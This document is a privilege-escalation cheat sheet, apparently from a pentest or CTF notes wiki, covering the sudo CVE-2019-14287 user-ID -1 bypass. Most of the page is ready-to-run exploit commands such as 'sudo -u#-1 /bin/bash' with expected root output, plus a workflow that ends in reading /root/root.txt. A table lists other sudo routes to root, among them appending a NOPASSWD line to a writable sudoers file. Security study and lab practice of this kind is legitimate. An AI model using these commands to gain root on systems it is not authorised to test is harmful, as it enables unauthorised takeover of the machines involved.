sudo CVE-2019-14287 — User ID -1 Bypass
Ctrl+F:
CVE-2019-14287·sudo -V·sudo -u#-1·< 1.8.28·(ALL, !root)
CVE-2019-14287 — security policy bypass in sudo. When sudoers allows running commands as any user except root (e.g. (ALL, !root)), passing user ID -1 (or 4294967295) is treated as root internally.
Affected: sudo < 1.8.28
External: 0xGabe/Sudo-1.8.27 · CVE-2019-14287
→ sudo · Linux · Baron Samedit - CVE-2021-3156 (different sudo bug)
📌 When to try
| Signal | Check |
|---|---|
| Old sudo | sudo -V → version < 1.8.28 |
sudo -l | Rule like (ALL, !root) ALL or (ALL) NOPASSWD: ALL with !root restriction |
Can’t run sudo su | Explicit deny for root user in rule — try -1 bypass |
sudo -V | head -1
sudo -lExample vulnerable sudo -l:
User user may run the following commands on box:
(ALL, !root) /bin/bash
(ALL, !root) /usr/bin/id📌 Exploit
sudo -u#-1 /bin/bash
# or
sudo -u#4294967295 /bin/bashid
# uid=0(root) gid=1000(user) groups=...One-liner confirm:
sudo -u#-1 id
# uid=0(root) ...Interactive root shell:
sudo -u#-1 /bin/bash -p
sudo -u#-1 /bin/sh📌 How it works
Sudo parses -u user ID. -1 wraps to 0 (root) in underlying UID handling, but policy checks saw a non-root UID first — bypassing (ALL, !root) restrictions.
Requires:
- Vulnerable sudo version
- Existing sudo privilege with non-root user target allowed
Does not require NOPASSWD (password ok if you have it).
📌 Full workflow
# 1. Version
sudo -V
# Sudo version 1.8.27 ← vulnerable
# 2. Rules
sudo -l
# 3. Exploit
sudo -u#-1 /bin/bash
# 4. Root
whoami
cat /root/root.txt📌 vs other sudo privesc
| Vector | Needs | Command |
|---|---|---|
| CVE-2019-14287 | sudo < 1.8.28 + (ALL,!root) style rule | sudo -u#-1 /bin/bash |
| NOPASSWD GTFOBins | Misconfig in sudoers | sudo /usr/bin/vi → :shell |
| Baron Samedit CVE-2021-3156 | Vulnerable sudoedit | Baron Samedit - CVE-2021-3156 — no sudoers needed |
| Writable sudoers | Write /etc/sudoers | Append NOPASSWD line |
→ sudo > 📌 4) Privesc — abuse sudo -l (GTFOBins)
📌 Troubleshooting
| Problem | Fix |
|---|---|
user not allowed | Rule may not use !root pattern — try GTFOBins / other CVE |
sudo: unknown user | Try -u#4294967295 instead of -u#-1 |
| Patched sudo ≥ 1.8.28 | Use Baron Samedit, kernel, SUID, etc. |
| Password required | Enter user password — still works if rule matches |
📌 Quick cheat sheet
sudo -V
sudo -l
sudo -u#-1 /bin/bash
sudo -u#-1 id📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'→ Linux > 📌 1) Basic Manual Enumeration